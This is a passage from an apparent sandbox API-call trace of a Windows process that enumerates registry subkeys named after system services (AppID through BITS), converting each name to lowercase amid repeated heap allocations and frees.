(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0247.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0247.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0247.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.890] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0247.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.891] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, 